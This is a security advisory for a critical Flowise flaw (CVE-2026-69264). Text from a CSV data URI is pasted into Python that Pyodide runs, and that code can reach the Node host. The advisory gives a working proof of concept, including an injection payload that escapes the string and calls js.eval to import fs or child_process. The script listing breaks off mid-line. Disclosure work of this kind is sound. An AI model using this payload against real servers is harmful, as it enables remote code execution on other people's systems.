All vulnerabilities
CRITICALSupply chain

CVE-2026-69264

npm · flowise

Summary

Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation

Advisory details

Summary

Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, child_process, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.

A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.

Details

Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts

The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):

} else {
    if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
        files = JSON.parse(csvFileBase64)
    } else {
        files = [csvFileBase64]
    }

    for (const file of files) {
        if (!file) continue
        const splitDataURI = file.split(',')
        splitDataURI.pop()                           // discards trailing filename segment
        base64String += splitDataURI.pop() ?? ''     // captures the segment we attack
    }
}

The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:

const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"      // ← line 161: interpolation sink

decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)   // ← line 171: sink

Validator gaps:

  • validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String.
  • validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.
  • No content check (^[A-Za-z0-9+/=]*$) is applied to base64String before interpolation.

Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):

export async function LoadPyodide(): Promise<PyodideInterface> {
    if (pyodideInstance === undefined) {
        const { loadPyodide } = await import('pyodide')
        const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
        pyodideInstance = await loadPyodide(obj)
        await pyodideInstance.loadPackage(['pandas', 'numpy'])
    }
    return pyodideInstance
}

Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:

import js
await js.eval(
    "(async () => {"
    "  const fs = await import('fs');"
    "  fs.writeFileSync('proof.txt', 'pwned');"
    "})()"
)

…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('child_process') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.

Node-version note. The original PoC for this issue used js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 because process.mainModule was deprecated and now returns undefined on Node 14+. The js.eval + dynamic-import() form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stock flowise@3.1.2 running on Node 20.20.2 — see Verified end-to-end against live Flowise below.

Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.

PoC

Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).

Reproducer setup

Two files. Save the first as package.json, the second as repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the same directory.

package.json:

{
  "name": "poc-flowise-s1",
  "version": "1.0.0",
  "type": "commonjs",
  "dependencies": {
    "pyodide": "^0.29.3"
  }
}

repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').

// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
//   1. JS-side template-literal interpolation produces malicious Python
//   2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
//   3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
//      import('fs') -> host file write
//
// CONSTRAINTS:
//   * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
//     of the data URI is what becomes `base64_string`, so this segment must
//     contain NO raw `,` bytes.
//   * Inside a Python double-quoted string literal, `,` is the escape
//     for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
//     `2`, `c` (no commas), but Python's lexer turns them into commas at
//     runtime — letting us pass multiple arguments to JS functions inside
//     the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
//   `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.

const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')

const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'

// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
    '";\n' +
    'import js\n' +
    `await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
    '#'

// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
    throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}

const csvFil

References